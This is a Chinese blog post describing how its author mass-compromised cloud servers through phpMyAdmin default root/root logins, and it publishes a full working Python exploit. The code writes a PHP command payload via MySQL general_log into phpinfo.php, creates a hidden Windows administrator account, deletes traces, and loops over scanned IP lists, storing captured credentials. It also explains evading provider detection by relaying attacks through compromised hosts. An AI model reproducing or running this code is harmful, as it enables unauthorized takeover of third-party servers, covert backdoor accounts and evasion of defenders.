我在云上批量抓鸡的故事(下)–写EXP干就完事了!
这篇文章一年之前就写好了,但是一直在我草稿箱中不敢发出来,当时我数据库中全是肉鸡,慌得一批,这篇文章发出来又怕被不怀好意的人给利用,所以放了这么久。现在重新看了全文,文中的有些部分有些改动。这篇是上一篇文章的技术分析过程。之前一直都是通过手动渗透,在分析完原理后,我就将整个流程写成了自动化脚本。
因为在之前的文章中我有分析过如何渗透提权的过程,所以在这里我就不赘述了。直接分析如何编写exp。首先分析phpmyadmin的登录流程。这里我就随便找个后台演示。
这个是我们直接访问phpmyadmin登录页面的url得到的页面。此时我们随便输入一个密码来走一遍这个登录流程。至于用分析需要post哪些字段很简单,我就不在这里演示了。
所以要想完成登录这个过程,脚本中就必须拿到token值,最简单的办法就是通过正则匹配。写一个login函数来实现。这里这展示部分代码,完整的exp代码会在最后给出。
def login(): url = 'http://肉鸡/phpmyadmin/index.php' s = requests.Session() r0 = s.get(url, timeout=2) token = re.search('value="[a-z0-9]{32}"', r0.text).group()[7:-1] payload = {'pma_username': 'root', 'pma_password': 'root', 'server': '1', 'lang': 'zh_CN','token':token} r1 = s.post(url,data=payload) if 'name="login_form"' not in r1.text: print('使用默认密码登录成功!') else: print('登录失败!')
解释一下是如何判断出的登录成功或失败的。在post数据过去之后,都会做一个302的跳转。如果登录成功就是phpmyadmin的后台管理页面了,失败则还是跳转到首页。我们可以将name=”login_form”这个字符串是否存在作为判断依据。
现在默认我们已经实现脚本模拟登录phpmyadmin的这个功能,进入到后台执行sql语句的界面。
接下来就是分析的重点了,我们要通过脚本来执行sql语句并获得返回的结果。比如执行 select @@version_compile_os 这条sql语句,是返回当前的操作系统。这里开始用burp抓包。
通过抓包的形式,主要是找出post过去的字段中那些必要的,这样可减少payload的长度。只要右侧能返回相应的数据即可。可以看到是向import.php发送的数据。
在不断删减post的字段之后,发现只有token和sql_query是必须的。那么关键字段分析的分析就完成了。
另外如何提取出SQL语句执行后得到的结果呢,也就是旁边黄色标记的win32。因为平时经常写爬虫,所以为了方便就没有用正则表达式来匹配,用Beautifulsoup来提取对应的标签。
sql_url = 'http://' + ip + '/phpmyadmin/import.php' text = ['select @@datadir','SET GLOBAL general_log=ON', 'set global general_log=off;set global general_log_file="MYSQL.log";'] def modle(sql_text): data = {'token': token, 'sql_query': sql_text} sql = requests.post(sql_url, data=data, cookies=cookies) soup = BeautifulSoup(sql.text, 'lxml') tag = soup.find_all('td') for i in tag: if i.string: print(i.string) result = i.string return result
我写了一个modle函数来说实现,因为后面需要提权,所以要执行的SQL语句肯定不止一条。其中传入的形参sql_text就是要执行的sql语句。
所以我把要执行的sql语句都放到了一个text的列表里面,根据索引值来执行对应的SQL语句。执行后得到的结果是以表格的形式返回的。所以我们用直接提取td标签,再把td标签的内容取出来即可。这样就完成了exp中模拟执行SQL语句的部分了。
接下来主要的部分就是提权的开始了,我们需要向文件中写入提权的命令,和写入webshell是一个意思,不过这里我们不写webshell,这样更安全,避免被云盾和安骑士查杀。但是我们需要找到当前文件的路径才行。
def get_path(): path = modle(text[0]) path = re.search('.*M', path).group()[:-1].replace('\\','/')+'www/phpinfo.php' print(path) return path
这里的modle(text[0])就是执行的select @@datadir 。
这里我写的是一个名为get_path的函数,因为用phpstudy的PHPmyadmin执行的这条sql语句的结果基本上都是在MySQL目录下的。但是网站的根目录实在他的上一级的www目录下的。所以我用了正则表达式来匹配到在\MySQL之前的那部分路径。
仔细观察返回的路径是用 \ 来分隔的,但是我们要写入路径是用的 / ,所以用了replace来替换。其中//是为了转义,这个想必大家都明白。
但是为什么我的文件名要用phpinfo.php来代替呢,这样做是为了掩人耳目!用过phpstudy的朋友应该都清楚他的根目录结构。
我用phpinfo.php来作为载体,把提权的命令写到这个里面,这样不会写入新的文件,最后即使删掉也不会太明显。然后再把日志文件的中日志改为phpinfo.php。
def create_file(): file_path = 'set global general_log_file ="'+ get_path()+'"' modle(file_path) print(file_path) modle(text[1])
接下来就是最关键的构造exp的部分了。
def random_str(): random_str = ''.join(random.sample(string.ascii_letters, 8)) return random_str def generate_random_exp(): user = random_str() + '$' pwd = random_str() exp = '''echo [version] > 1.inf && echo signature="$CHICAGO$" >> 1.inf && echo [System Access] >> 1.inf && echo PasswordComplexity = 0 >> 1.inf && secedit /configure /db temp.sdb /cfg 1.inf & net user ''' + user + ' ' + pwd + ''' /add & net localgroup administrators ''' + user + ''' /add && echo GetSuccess! & del 1.inf temp.sdb phpinfo.php && echo DeleteSuccess! ''' exp_base64 = base64.b64encode(exp.encode('utf-8')).decode('utf-8') exp_code = '''select '<?php $str ="''' + exp_base64 + '''"; $code = base64_decode($str);echo `$code`;?>';''' modle(exp_code) return user, pwd
这里我定义了两个函数,random_str是生成随机的字符串。是用于在exp中生成用户名和密码。对于exp部分我也不想多解释了,在我之前的文章中分析过。user后面还接了一个$,就是为了生成隐藏的管理员用户名,这样只是在cmd下使用net user看不到,其实也没什么实际的用处。
当然我是对这段exp做了base64编码的,然后在构造一段php的payload,相当于解码exp,写入到php文件中用于提权。因为这段exp并不是webshell,自然也不会被云盾查杀。
def check_exp(): url_2 = 'http://' + ip + '/phpinfo.php' check = requests.get(url_2) time.sleep(5) print(check.text) if 'if 'GetSuccess!' in check.text' in check.text: print('Success !!!') return ip else: print('Failed !') def delete(): modle(text[2])
现在就是要触发exp执行了。通过查找页面中有没有GetSuccess!这个字符串来判断提权是否成功。
下面还有一个delete的函数,就是收尾工作,因为提取成功我们就有administrator的权限了,就可以把phpinfo.php这个中间文件也删除掉,清理痕迹。
从数据库中把存在弱口令的后台导出为txt文本,供exp执行。(补充)
现在提权部分已经完成了,那么接着就是批量提权了。这里我写了一个main函数就是从我的写的另一个脚本批量扫出来存在弱口令的ip的txt文本中取出ip执行exp。然后再把这些提权成功的肉鸡再写入我的数据库中。
def main(): db = pymysql.Connect('ip', 'user', 'pwd', 'phpmyadmin') cursor = db.cursor() ip_list =get_ip_list() for ip in ip_list: try: ip = ip.strip() url, token, cookie_1 = get_token(ip) print(ip) if len(token) != 32: print('token 错误!') continue cookie_2 = login(url, token, cookie_1) if cookie_2 is False: continue cookies = get_cookie(cookie_1, cookie_2) user, pwd, ip = execute_sql(token, ip, cookies) if user and pwd and ip: time_now = str(datetime.datetime.now())[:-7] sql = "insert into rdesktop (user,pwd,ip,time) VALUES ('%s','%s','%s','%s')" % (user,pwd,ip,time_now) print(sql) cursor.execute(sql) db.commit() else: continue except Exception as e: print(e) db.close()
然后扔到阿里云的肉鸡的上跑就行了。差不多就是这个样子。
不过我发现一个问题,可能阿里云做了态势感知什么的,当我用一台肉鸡批量跑exp,差不多提权30左右的其他肉鸡时这个ip就自动被阿里云ban掉了。所以我就想了其他的办法。让新抓的肉鸡继续执行exp,每只肉鸡执行20次exp就让新抓的肉鸡继续执行exp,这样递归下去就不会导致被ban掉。直到跑完我数据库中的所有的ip。
完整的exp代码如下,仅供技术分享。用于非法用途,后果自负!
import re import time import base64 import string import random import pymysql import datetime import requests from bs4 import BeautifulSoup def get_ip_list(): with open('ip.txt','r')as f: ip_list = f.readlines() return ip_list def get_token(ip): url = 'http://'+ip+'/phpmyadmin/index.php' y = requests.get(url,timeout = 1) token = re.search('token=.*" t',y.text).group()[6:-3] cookie_1 =y.cookies return url,token,cookie_1 def login(url,token,cookie_1): payload = {'pma_username': 'root', 'pma_password': 'root','server':'1 ','lang':'zh_CN','token':token} r = requests.post(url,data=payload,cookies = cookie_1,allow_redirects=False) cookie_2 = r.cookies if 'name="login_form"' not in r.text: print('使用默认密码登录成功!') return cookie_2 else: print('登录失败!') return False def get_cookie(cookie_1,cookie_2): dict_1 = requests.utils.dict_from_cookiejar(cookie_1) dict_2 = requests.utils.dict_from_cookiejar(cookie_2) dict_3 = dict(dict_1,**dict_2) cookies = requests.utils.cookiejar_from_dict(dict_3) return cookies def execute_sql(token,ip,cookies): sql_url = 'http://' + ip + '/phpmyadmin/import.php' text = ['select @@datadir','SET GLOBAL general_log=ON', 'set global general_log=off;set global general_log_file="MYSQL.log";'] def modle(sql_text): data = {'token': token, 'sql_query': sql_text} sql = requests.post(sql_url, data=data, cookies=cookies) soup = BeautifulSoup(sql.text, 'lxml') tag = soup.find_all('td') for i in tag: if i.string: print(i.string) result = i.string return result def get_path(): path = modle(text[0]) path = re.search('.*M', path).group()[:-1].replace('\\','/')+'www/phpinfo.php' print(path) return path def create_file(): file_path = 'set global general_log_file ="'+ get_path()+'"' modle(file_path) print(file_path) modle(text[1]) def random_str(): random_str = ''.join(random.sample(string.ascii_letters, 8)) return random_str def generate_random_exp(): user = random_str() + '$' pwd = random_str() exp = '''echo [version] > 1.inf && echo signature="$CHICAGO$" >> 1.inf && echo [System Access] >> 1.inf && echo PasswordComplexity = 0 >> 1.inf && secedit /configure /db temp.sdb /cfg 1.inf & net user ''' + user+ ' ' + pwd + ''' /add & net localgroup administrators ''' + user + ''' /add && echo GetSuccess! & del 1.inf temp.sdb phpinfo.php && echo DeleteSuccess! ''' exp_base64 = base64.b64encode(exp.encode('utf-8')).decode('utf-8') exp_code = '''select '<?php $str ="''' + exp_base64 + '''"; $code = base64_decode($str) ;echo `$code`;?>';''' modle(exp_code) return user, pwd def check_exp(): url_2 = 'http://' + ip + '/phpinfo.php' check = requests.get(url_2) time.sleep(5) print(check.text) if 'GetSuccess!' in check.text: print('Success !!!') return ip else: print('Failed !') def delete(): modle(text[2]) create_file() user,pwd = generate_random_exp() if check_exp() is None: return False delete() return user,pwd,ip def main(): db = pymysql.Connect('ip', 'user', 'pwd', 'phpmyadmin') cursor = db.cursor() ip_list =get_ip_list() for ip in ip_list: try: ip = ip.strip() url, token, cookie_1 = get_token(ip) print(ip) if len(token) != 32: print('token 错误!') continue cookie_2 = login(url, token, cookie_1) if cookie_2 is False: continue cookies = get_cookie(cookie_1, cookie_2) user, pwd, ip = execute_sql(token, ip, cookies) if user and pwd and ip: time_now = str(datetime.datetime.now())[:-7] sql = "insert into rdesktop (user,pwd,ip,time) VALUES ('%s','%s','%s','%s')" % (user,pwd,ip,time_now) print(sql) cursor.execute(sql) db.commit() else: continue except Exception as e: print(e) db.close() if __name__=='__main__': main()
跑完之后,我数据库里全是肉鸡,至于肉鸡的数量有多少我就不说了。部分截图,现在这些肉鸡应该都失效了,所以才敢放图出来。(补充)
就在本地手动连了一下一些肉鸡,有的还是8核16G的,我我我…….
不过我抓了这么多肉鸡,又不敢做什么坏事,本来就是闲着无聊搞着玩的。所以就试着去能不能提交了。
在漏洞盒子上还给过了,不过阿里他们是不收的,不过我觉得也是这个道理。这本来就是不算漏洞的漏洞。本来就是弱口令导致的,是用户本身的问题。和云厂商没任何关系。
之前还在信安之路的群里讨论过。有一位大佬做了个比喻,就是你钱包被偷了,难道你还能怪是这个生产钱包厂商的问题吗?我觉得也是这样。
如果你对提权的过程不太清,请先看我的上一篇文章。
我在云上批量抓鸡的故事(上)–从webshell到远程桌面
分割线
一年之后,再看以前写的这篇文章。我最大的感受就是以前的代码怎么写的跟屎一样烂,不过还是忍住了,没有改以前的代码,还在原样贴出来的。说一下我当时的心情,看着这么多肉鸡还是有点激动的,还发了条说说。
当时甚至有人找我买这些肉鸡,一律拒绝。说实话当时很慌,毕竟我才大二上学期,要是进去了咋办,哈哈。现在想想当时想法还蛮单纯的。当时大一的暑假,闲的没事干,就手动去试那些弱口令的后台然后尝试手动提权,现在翻翻我的浏览器书签还有当时保存的一大堆链接。
虽然过了这么久,但是每次想起大一大二搞的这些事情还是蛮有意思的。现在看以前写的exp觉得很烂,说明也在进步吧。
赞赏微信赞赏
支付宝赞赏
2条评论